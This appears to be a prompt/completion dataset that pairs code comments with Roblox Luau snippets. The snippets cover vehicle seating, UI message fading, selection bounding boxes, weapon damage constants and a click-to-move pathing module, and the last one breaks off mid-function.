prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Listen to seat enter/exit
|
VehicleSeating.AddSeat(DriverSeat, onEnterSeat, onExitSeat)
for _, seat in ipairs(AdditionalSeats) do
VehicleSeating.AddSeat(seat, onEnterSeat, onExitSeat)
end
local function playerAdded(player)
local playerGui = player:WaitForChild("PlayerGui")
if not playerGui:FindFirstChild("VehiclePromptScreenGui") then
local screenGui = Instance.new("ScreenGui")
screenGui.ResetOnSpawn = false
screenGui.Name = "VehiclePromptScreenGui"
screenGui.Parent = playerGui
local newLocalVehiclePromptGui = Scripts.LocalVehiclePromptGui:Clone()
newLocalVehiclePromptGui.CarValue.Value = TopModel
newLocalVehiclePromptGui.Parent = screenGui
end
end
Players.PlayerAdded:Connect(playerAdded)
for _, player in ipairs(Players:GetPlayers()) do
playerAdded(player)
end
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["Path"]["Path"])
export type Path = Package.Path
return Package
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local Left = frame2.Left
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local log = {
Type = "Small Screen Message";
Title = title;
Message = message;
Icon = "rbxassetid://7501175708";
Time = os.date("%X");
Function = nil;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsCenter:Fire(log)
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local function fadeIn()
gTable:Ready()
for i = 1,fadeSteps do
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
end
local function fadeOut()
if not gone then
gone = true
for i = 1,fadeSteps do
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
frame2.BackgroundTransparency = frame.BackgroundTransparency
end
service.Wait("Stepped")
end
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
if not tim then
local _,time = message:gsub(" ","")
time = math.clamp(time/2,4,11)+1
Left.Text = `[{time}]`
for i=time,1,-1 do
if not Left then break end
Left.Text = `[{i}]`
wait(1)
end
else
Left.Text = `[{tim}]`
for i=tim,1,-1 do
if not Left then break end
Left.Text = `[{i}]`
wait(1)
end
end
Left.Text = '[Closing]'
wait(0.3)
if not gone then
fadeOut()
end
end
|
-- Enable dragging for all image buttons within the UI frame
|
for _, button in pairs(uiFrame:GetDescendants()) do
if button:IsA("ImageButton") then
enableDragging(button)
end
end
|
-- Initialize internal module state
|
local StaticParts = {};
local StaticPartsIndex = {};
local StaticPartMonitors = {};
local RecalculateStaticExtents = true;
local AggregatingStaticParts = false;
local StaticPartAggregators = {};
local PotentialPartMonitors = {};
function BoundingBoxModule.StartBoundingBox(HandleAttachmentCallback)
-- Creates and starts a selection bounding box
-- Make sure there isn't already a bounding box
if BoundingBoxEnabled then
return;
end;
-- Indicate that the bounding box is enabled
BoundingBoxEnabled = true;
-- Create the box
BoundingBox = Core.Make 'Part' {
Name = 'BTBoundingBox';
CanCollide = false;
Transparency = 1;
Anchored = true;
Locked = true;
Parent = Core.UI;
};
-- Make the mouse ignore it
Core.Mouse.TargetFilter = BoundingBox;
-- Make sure to calculate our static extents
RecalculateStaticExtents = true;
StartAggregatingStaticParts();
-- Store handle attachment callback
BoundingBoxHandleCallback = HandleAttachmentCallback;
-- Begin the bounding box's updater
BoundingBoxModule.UpdateBoundingBox();
BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05);
-- Attach handles if requested
if BoundingBoxHandleCallback then
BoundingBoxHandleCallback(BoundingBox);
end;
end;
function BoundingBoxModule.GetBoundingBox()
-- Returns the current bounding box
-- Get and return bounding box
return BoundingBox;
end;
function IsPhysicsStatic()
-- Returns whether the game's physics are active or static
-- Determine value if not yet cached
if _IsPhysicsStatic == nil then
_IsPhysicsStatic = (Core.Mode == 'Plugin') and (Workspace.DistributedGameTime == 0);
end;
-- Return cached value
return _IsPhysicsStatic;
end;
function BoundingBoxModule.UpdateBoundingBox()
-- Updates the bounding box to fit the selection's extents
-- Make sure the bounding box is enabled
if not BoundingBoxEnabled then
return;
end;
-- If the bounding box is inactive, and should now be active, update it
if InactiveBoundingBox and #Core.Selection.Parts > 0 then
BoundingBox = InactiveBoundingBox;
InactiveBoundingBox = nil;
BoundingBoxHandleCallback(BoundingBox);
-- If the bounding box is active, and there are no parts, disable it
elseif BoundingBox and #Core.Selection.Parts == 0 then
InactiveBoundingBox = BoundingBox;
BoundingBox = nil;
BoundingBoxHandleCallback(BoundingBox);
return;
-- Don't try to update the bounding box if there are no parts
elseif #Core.Selection.Parts == 0 then
return;
end;
-- Recalculate the extents of static items as needed only
if RecalculateStaticExtents then
BoundingBoxModule.StaticExtents = BoundingBoxModule.CalculateExtents(StaticParts, nil, true);
RecalculateStaticExtents = false;
end;
-- Update the bounding box
local BoundingBoxSize, BoundingBoxCFrame = BoundingBoxModule.CalculateExtents(Core.Selection.Parts, BoundingBoxModule.StaticExtents);
BoundingBox.Size = BoundingBoxSize;
BoundingBox.CFrame = BoundingBoxCFrame;
end;
function BoundingBoxModule.ClearBoundingBox()
-- Clears the selection bounding box
-- Make sure there's a bounding box
if not BoundingBoxEnabled then
return;
end;
-- If there's a bounding box updater, stop it
if BoundingBoxUpdater then
BoundingBoxUpdater:Stop();
BoundingBoxUpdater = nil;
end;
-- Stop tracking static parts
StopAggregatingStaticParts();
-- Delete the bounding box
if BoundingBox then
BoundingBox:Destroy();
BoundingBox = nil;
elseif InactiveBoundingBox then
InactiveBoundingBox:Destroy();
InactiveBoundingBox = nil;
end;
-- Mark the bounding box as disabled
BoundingBoxEnabled = false;
-- Clear the bounding box handle callback
BoundingBoxHandleCallback(nil);
BoundingBoxHandleCallback = nil;
end;
function AddStaticParts(Parts)
-- Adds the static parts to the list for state tracking
-- Add each given part
for _, Part in pairs(Parts) do
-- Ensure part isn't already indexed, and verify it is static
if not StaticPartsIndex[Part] and (IsPhysicsStatic() or Part.Anchored) then
-- Add part to static index
StaticPartsIndex[Part] = true;
-- Monitor static part for changes
AddStaticPartMonitor(Part);
end;
end;
-- Update the static parts list
StaticParts = Support.Keys(StaticPartsIndex);
-- Recalculate static extents to include added parts
RecalculateStaticExtents = true;
end;
function AddStaticPartMonitor(Part)
-- Monitors the given part to track when it is no longer static
-- Ensure part is static and isn't already monitored
if not StaticPartsIndex[Part] or StaticPartMonitors[Part] then
return;
end;
-- Start monitoring part for changes
StaticPartMonitors[Part] = Part.Changed:Connect(function (Property)
-- Trigger static extent recalculations on position or size changes
if Property == 'CFrame' or Property == 'Size' then
RecalculateStaticExtents = true;
-- Remove part from static index if it becomes mobile
elseif Property == 'Anchored' and not IsPhysicsStatic() and not Part.Anchored then
RemoveStaticParts { Part };
end;
end);
end;
function RemoveStaticParts(Parts)
-- Removes the given parts from the static parts index
-- Remove each given part
for _, Part in pairs(Parts) do
-- Remove part from static parts index
StaticPartsIndex[Part] = nil;
-- Clean up the part's change monitors
if StaticPartMonitors[Part] then
StaticPartMonitors[Part]:Disconnect();
StaticPartMonitors[Part] = nil;
end;
end;
-- Update the static parts list
StaticParts = Support.Keys(StaticPartsIndex);
-- Recalculate static extents to exclude removed parts
RecalculateStaticExtents = true;
end;
function StartAggregatingStaticParts()
-- Begins to look for and identify static parts
-- Add current qualifying parts to static parts index
AddStaticParts(Core.Selection.Parts);
-- Watch for parts that become static
for _, Part in ipairs(Core.Selection.Parts) do
AddPotentialPartMonitor(Part);
end;
-- Watch newly selected parts
table.insert(StaticPartAggregators, Core.Selection.PartsAdded:Connect(function (Parts)
-- Add qualifying parts to static parts index
AddStaticParts(Parts);
-- Watch for parts that become anchored
for _, Part in pairs(Parts) do
AddPotentialPartMonitor(Part);
end;
end));
-- Remove deselected parts from static parts index
table.insert(StaticPartAggregators, Core.Selection.PartsRemoved:Connect(function (Parts)
RemoveStaticParts(Parts);
for _, Part in pairs(Parts) do
if PotentialPartMonitors[Part] then
PotentialPartMonitors[Part]:Disconnect();
PotentialPartMonitors[Part] = nil;
end;
end;
end));
end;
function BoundingBoxModule.RecalculateStaticExtents()
-- Sets flag indicating that extents of static items should be recalculated
-- Set flag to trigger recalculation on the next step in the update loop
RecalculateStaticExtents = true;
end;
function AddPotentialPartMonitor(Part)
-- Monitors the given part to track when it becomes static
-- Ensure part is not already monitored
if PotentialPartMonitors[Part] then
return;
end;
-- Create anchored state change monitor
PotentialPartMonitors[Part] = Part.Changed:Connect(function (Property)
if Property == 'Anchored' and Part.Anchored then
AddStaticParts { Part };
end;
end);
end;
function BoundingBoxModule.PauseMonitoring()
-- Disables part monitors
-- Disconnect all potential part monitors
for Part, Monitor in pairs(PotentialPartMonitors) do
Monitor:Disconnect();
PotentialPartMonitors[Part] = nil;
end;
-- Disconnect all static part monitors
for Part, Monitor in pairs(StaticPartMonitors) do
Monitor:Disconnect();
StaticPartMonitors[Part] = nil;
end;
-- Stop update loop
if BoundingBoxUpdater then
BoundingBoxUpdater:Stop();
BoundingBoxUpdater = nil;
end;
end;
function BoundingBoxModule.ResumeMonitoring()
-- Starts update loop and part monitors for selected and indexed parts
-- Ensure bounding box is enabled
if not BoundingBoxEnabled then
return;
end;
-- Start static part monitors
for StaticPart in pairs(StaticPartsIndex) do
AddStaticPartMonitor(StaticPart);
end;
-- Start potential part monitors
for _, Part in ipairs(Core.Selection.Parts) do
AddPotentialPartMonitor(Part);
end;
-- Start update loop
if not BoundingBoxUpdater then
BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05);
end;
end;
function StopAggregatingStaticParts()
-- Stops looking for static parts, clears unnecessary data
-- Disconnect all aggregators
for AggregatorKey, Aggregator in pairs(StaticPartAggregators) do
Aggregator:Disconnect();
StaticPartAggregators[AggregatorKey] = nil;
end;
-- Remove all static part monitors
for MonitorKey, Monitor in pairs(StaticPartMonitors) do
Monitor:Disconnect();
StaticPartMonitors[MonitorKey] = nil;
end;
-- Remove all potential part monitors
for MonitorKey, Monitor in pairs(PotentialPartMonitors) do
Monitor:Disconnect();
PotentialPartMonitors[MonitorKey] = nil;
end;
-- Clear all static part information
StaticParts = {};
StaticPartsIndex = {};
BoundingBoxModule.StaticExtents = nil;
end;
|
--// Damage Settings
|
BaseDamage = 22;
LimbDamage = 18;
ArmorDamage = 15;
HeadDamage = 1000;
|
-- Get a list of blocked users from the corescripts.
-- Spawned because this method can yeild.
|
spawn(function()
-- Pcalled because this method is not released on all platforms yet.
if LocalPlayer.UserId > 0 then
pcall(function()
local blockedUserIds = StarterGui:GetCore("GetBlockedUserIds")
if #blockedUserIds > 0 then
local setInitalBlockedUserIds = DefaultChatSystemChatEvents:FindFirstChild("SetBlockedUserIdsRequest")
if setInitalBlockedUserIds then
setInitalBlockedUserIds:FireServer(blockedUserIds)
end
end
end)
end
end)
spawn(function()
local success, canLocalUserChat = pcall(function()
return Chat:CanUserChatAsync(LocalPlayer.UserId)
end)
if success then
canChat = RunService:IsStudio() or canLocalUserChat
end
end)
local initData = EventFolder.GetInitDataRequest:InvokeServer()
|
----------------------------------------------------------------------------------------------------------------
|
local Vector3_new = Vector3.new
local math_max = math.max
local PI = math.pi
local TAU = PI * 2
local tick = tick
local function DeltaAngle(current, target)
local n = ((target - current) % TAU)
return (n > PI and (n - TAU) or n)
end
local function DeltaAngleV3(p1, p2)
return Vector3_new(DeltaAngle(p1.X, p2.X), DeltaAngle(p1.Y, p2.Y), DeltaAngle(p1.Z, p2.Z))
end
|
--local joystickWidth = 250
--local joystickHeight = 250
|
local function IsInBottomLeft(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function IsInBottomRight(pt)
local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
local joystickWidth = joystickHeight
return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end
local function CheckAlive(character)
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local function ExploreWithRayCast(currentPoint, originDirection)
local TestDistance = 40
local TestVectors = {}
do
local forwardVector = originDirection;
for i = 0, 15 do
table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector)
end
end
local testResults = {}
-- Heuristic should be something along the lines of distance and closeness to the traveling direction
local function ExploreHeuristic()
for _, testData in pairs(testResults) do
local walkDirection = -1 * originDirection
local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2
local distanceCoeff = testData['Distance'] / TestDistance
testData["Value"] = directionCoeff * distanceCoeff
end
end
for i, vec in pairs(TestVectors) do
local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character})
if hitPos then
table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude})
else
table.insert(testResults, {Vector = vec; Distance = TestDistance})
end
end
ExploreHeuristic()
table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end)
return testResults
end
local TapId = 1
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
DrivingTo = nil
if ExistingPather then
ExistingPather:Cancel()
end
if PathCompleteListener then
PathCompleteListener:disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator, 0)
ExistingIndicator = nil
end
end
local function getExtentsSize(Parts)
local maxX = Parts[1].Position.X
local maxY = Parts[1].Position.Y
local maxZ = Parts[1].Position.Z
local minX = Parts[1].Position.X
local minY = Parts[1].Position.Y
local minZ = Parts[1].Position.Z
for i = 2, #Parts do
maxX = math_max(maxX, Parts[i].Position.X)
maxY = math_max(maxY, Parts[i].Position.Y)
maxZ = math_max(maxZ, Parts[i].Position.Z)
minX = math_min(minX, Parts[i].Position.X)
minY = math_min(minY, Parts[i].Position.Y)
minZ = math_min(minZ, Parts[i].Position.Z)
end
return Region3.new(Vector3_new(minX, minY, minZ), Vector3_new(maxX, maxY, maxZ))
end
local function inExtents(Extents, Position)
if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then
return false
end
if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then
return false
end
--ignoring Y for now
return true
end
local AutoJumperInstance = nil
local ShootCount = 0
local FailCount = 0
local function OnTap(tapPositions, goToPoint)
-- Good to remember if this is the latest tap event
TapId = TapId + 1
local thisTapId = TapId
local camera = workspace.CurrentCamera
local character = Player.Character
if not CheckAlive(character) then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*400)
local hitPart, hitPt = Utility.Raycast(ray, true, {character})
local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart)
local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso
local startPos = torso.CFrame.p
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
CleanupPath()
local myHumanoid = findPlayerHumanoid(Player)
if myHumanoid then
myHumanoid:MoveTo(hitPt)
end
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shooot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
elseif hitPt and character and not CurrentSeatPart then
local thisPather = Pather(character, hitPt)
if thisPather:IsValidPath() then
FailCount = 0
-- TODO: Remove when bug in engine is fixed
Player:Move(Vector3_new(1, 0, 0))
Player:Move(ZERO_VECTOR3)
thisPather:Start()
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(false)
end
CleanupPath()
local destinationGlobe = CreateDestinationIndicator(hitPt)
destinationGlobe.Parent = camera
ExistingPather = thisPather
ExistingIndicator = destinationGlobe
if AutoJumperInstance then
AutoJumperInstance:Run()
end
PathCompleteListener = thisPather.Finished:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
if ExistingIndicator == destinationGlobe then
ExistingIndicator = nil
end
DebrisService:AddItem(destinationGlobe, 0)
destinationGlobe = nil
end
if hitChar then
local humanoid = findPlayerHumanoid(Player)
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
if humanoid then
humanoid:MoveTo(hitPt)
end
end
local finishPos = torso and torso.CFrame.p --hitPt
if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then
local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * XZ_VECTOR3).unit)
-- Check for Nans etc..
if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then
if CameraModule then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"])
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
end
end
end
end)
PathFailedListener = thisPather.PathFailed:connect(function()
if AutoJumperInstance then
AutoJumperInstance:Stop()
end
if destinationGlobe then
FlashRed(destinationGlobe)
DebrisService:AddItem(destinationGlobe, 3)
end
end)
else
if hitPt then
-- Feedback here for when we don't have a good path
local failedGlobe = CreateDestinationIndicator(hitPt)
FlashRed(failedGlobe)
DebrisService:AddItem(failedGlobe, 1)
failedGlobe.Parent = camera
if ExistingIndicator == nil then
FailCount = FailCount + 1
if FailCount >= 3 then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
CleanupPath()
end
end
end
end
elseif hitPt and character and CurrentSeatPart then
local destinationGlobe = CreateDestinationIndicator(hitPt)
destinationGlobe.Parent = camera
ExistingIndicator = destinationGlobe
DrivingTo = hitPt
local ConnectedParts = CurrentSeatPart:GetConnectedParts(true)
while wait() do
if CurrentSeatPart and ExistingIndicator == destinationGlobe then
local ExtentsSize = getExtentsSize(ConnectedParts)
if inExtents(ExtentsSize, destinationGlobe.Position) then
DebrisService:AddItem(destinationGlobe, 0)
destinationGlobe = nil
DrivingTo = nil
break
end
else
DebrisService:AddItem(destinationGlobe, 0)
if CurrentSeatPart == nil and destinationGlobe == ExistingIndicator then
DrivingTo = nil
OnTap(tapPositions, hitPt)
end
destinationGlobe = nil
break
end
end
else
-- no hit pt
end
end
elseif #tapPositions >= 2 then
if camera then
ShootCount = ShootCount + 1
local thisShoot = ShootCount
-- Do shoot
local avgPoint = Utility.AveragePoints(tapPositions)
local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera)
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
LastFired = tick()
end
end
end
end
local function CreateClickToMoveModule()
local this = {}
local LastStateChange = 0
local LastState = Enum.HumanoidStateType.Running
local FingerTouches = {}
local NumUnsunkTouches = 0
-- PC simulation
local mouse1Down = tick()
local mouse1DownPos = Vector2.new()
local mouse2Down = tick()
local mouse2DownPos = Vector2.new()
local mouse2Up = tick()
local movementKeys = {
[Enum.KeyCode.W] = true;
[Enum.KeyCode.A] = true;
[Enum.KeyCode.S] = true;
[Enum.KeyCode.D] = true;
[Enum.KeyCode.Up] = true;
[Enum.KeyCode.Down] = true;
}
local TapConn = nil
local InputBeganConn = nil
local InputChangedConn = nil
local InputEndedConn = nil
local HumanoidDiedConn = nil
local CharacterChildAddedConn = nil
local OnCharacterAddedConn = nil
local CharacterChildRemovedConn = nil
local RenderSteppedConn = nil
local HumanoidSeatedConn = nil
local function disconnectEvent(event)
if event then
event:disconnect()
end
end
local function DisconnectEvents()
disconnectEvent(TapConn)
disconnectEvent(InputBeganConn)
disconnectEvent(InputChangedConn)
disconnectEvent(InputEndedConn)
disconnectEvent(HumanoidDiedConn)
disconnectEvent(CharacterChildAddedConn)
disconnectEvent(OnCharacterAddedConn)
disconnectEvent(RenderSteppedConn)
disconnectEvent(CharacterChildRemovedConn)
pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end)
disconnectEvent(HumanoidSeatedConn)
end
local function IsFinite(num)
return num == num and num ~= 1/0 and num ~= -1/0
end
local function findAngleBetweenXZVectors(vec2, vec1)
return math_atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
-- Setup the camera
CameraModule = ClassicCameraModule()
do
-- Extend The Camera Module Class
function CameraModule:LookAtPreserveHeight(newLookAtPt)
local camera = workspace.CurrentCamera
local focus = camera.Focus.p
local cameraCFrame = CameraModule.cframe
local mag = Vector3_new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude
local newLook = (Vector3_new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag
local flippedLook = newLook + Vector3_new(0, cameraCFrame.lookVector.y, 0)
local distance = (focus - cameraCFrame.p).magnitude
local newCamPos = focus - flippedLook.unit * distance
return CFrame.new(newCamPos, newCamPos + flippedLook)
end
local lerp = CFrame.new().lerp
function CameraModule:TweenCameraLook(desiredCFrame, speed)
local e = 2.718281828459
local function SCurve(t)
return 1/(1 + e^(-t*1.5))
end
local function easeOutSine(t, b, c, d)
if t >= d then return b + c end
return c * math_sin(t/d * (math_pi/2)) + b;
end
local c0, c1 = CFrame_new(ZERO_VECTOR3, self:GetCameraLook()), desiredCFrame - desiredCFrame.p
local theta = GetThetaBetweenCFrames(c0, c1)
theta = clamp(0, math_pi, theta)
local duration = 0.65 * SCurve(theta - math_pi/4) + 0.15
if speed then
duration = theta / speed
end
local start = tick()
local finish = start + duration
self.UpdateTweenFunction = function()
local currTime = tick() - start
local alpha = clamp(0, 1, easeOutSine(currTime, 0, 1, duration))
local newCFrame = lerp(c0, c1, alpha)
local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook())
if IsFinite(y) and math_abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2_new(y, 0)
end
return (currTime >= finish or alpha >= 1)
end
end
end
--- Done Extending
local function OnTouchBegan(input, processed)
if FingerTouches[input] == nil and not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
FingerTouches[input] = processed
end
local function OnTouchChanged(input, processed)
if FingerTouches[input] == nil then
FingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchEnded(input, processed)
--print("Touch tap fake:" , processed)
--if not processed then
-- OnTap({input.Position})
--end
if FingerTouches[input] ~= nil and FingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
FingerTouches[input] = nil
end
local function OnCharacterAdded(character)
DisconnectEvents()
InputBeganConn = UIS.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
-- Give back controls when they tap both sticks
local wasInBottomLeft = IsInBottomLeft(input.Position)
local wasInBottomRight = IsInBottomRight(input.Position)
if wasInBottomRight or wasInBottomLeft then
for otherInput, _ in pairs(FingerTouches) do
if otherInput ~= input then
local otherInputInLeft = IsInBottomLeft(otherInput.Position)
local otherInputInRight = IsInBottomRight(otherInput.Position)
if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
return
end
end
end
end
end
-- Cancel path when you use the keyboard controls.
if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
CleanupPath()
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouse1Down = tick()
mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Down = tick()
mouse2DownPos = input.Position
end
end)
InputChangedConn = UIS.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
end
end)
InputEndedConn = UIS.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
mouse2Up = tick()
local currPos = input.Position
if mouse2Up - mouse2Down < 0.25 and (currPos - mouse2DownPos).magnitude < 5 then
local positions = {currPos}
OnTap(positions)
end
end
end)
TapConn = UIS.TouchTap:connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions)
end
end)
if not UIS.TouchEnabled then -- PC
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
AutoJumperInstance = AutoJumper()
end
local function getThrottleAndSteer(object, point)
local lookVector = (point - object.Position)
lookVector = Vector3_new(lookVector.X, 0, lookVector.Z).unit
local objectVector = Vector3_new(object.CFrame.lookVector.X, 0, object.CFrame.lookVector.Z).unit
local dirVector = lookVector - objectVector
local mag = dirVector.magnitude
local degrees = math_deg(math_acos(lookVector:Dot(objectVector)))
local side = (object.CFrame:pointToObjectSpace(point).X > 0)
local throttle = 0
if mag < 0.25 then
throttle = 1
end
if mag > 1.8 then
throttle = -1
end
local distance = CurrentSeatPart.Position - DrivingTo
local velocity = CurrentSeatPart.Velocity
if velocity.magnitude*1.5 > distance.magnitude then
if velocity.magnitude*0.5 > distance.magnitude then
throttle = -throttle
else
throttle = 0
end
end
local steer = 0
if degrees > 5 and degrees < 175 then
if side then
steer = 1
else
steer = -1
end
end
local rotatingAt = math_deg(CurrentSeatPart.RotVelocity.magnitude)
local degreesAway = math_max(math_min(degrees, 180 - degrees), 10)
if (CurrentSeatPart.RotVelocity.X < 0)== (steer < 0) then
if rotatingAt*1.5 > degreesAway then
if rotatingAt*0.5 > degreesAway then
steer = -steer
else
steer = 0
end
end
end
return throttle, steer
end
local function Update()
if CameraModule then
if CameraModule.UserPanningTheCamera then
CameraModule.UpdateTweenFunction = nil
else
if CameraModule.UpdateTweenFunction then
local done = CameraModule.UpdateTweenFunction()
if done then
CameraModule.UpdateTweenFunction = nil
end
end
end
CameraModule:Update()
end
if CurrentSeatPart then
if DrivingTo then
local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo)
CurrentSeatPart.Throttle = throttle
CurrentSeatPart.Steer = steer
end
end
end
local success = pcall(function() RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update) end)
if not success then
if RenderSteppedConn then
RenderSteppedConn:disconnect()
end
RenderSteppedConn = RunService.RenderStepped:connect(Update)
end
local WasAutoJumper = false
local WasAutoJumpMobile = false
local function onSeated(child, active, currentSeatPart)
if active then
if BindableEvent_EnableTouchJump then
BindableEvent_EnableTouchJump:Fire(true)
end
if currentSeatPart and currentSeatPart.ClassName == "VehicleSeat" then
CurrentSeatPart = currentSeatPart
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
WasAutoJumper = true
else
WasAutoJumper = false
end
if child.AutoJumpEnabled then
WasAutoJumpMobile = true
child.AutoJumpEnabled = false
end
end
else
CurrentSeatPart = nil
if BindableEvent_EnableTouchJump then
BindableEvent_EnableTouchJump:Fire(false)
end
if WasAutoJumper then
AutoJumperInstance = AutoJumper()
WasAutoJumper = false
end
if WasAutoJumpMobile then
child.AutoJumpEnabled = true
WasAutoJumpMobile = false
end
end
end
local function OnCharacterChildAdded(child)
if UIS.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
disconnectEvent(HumanoidDiedConn)
HumanoidDiedConn = child.Died:connect(function()
DebrisService:AddItem(ExistingIndicator, 1)
if AutoJumperInstance then
AutoJumperInstance:Stop()
AutoJumperInstance = nil
end
end)
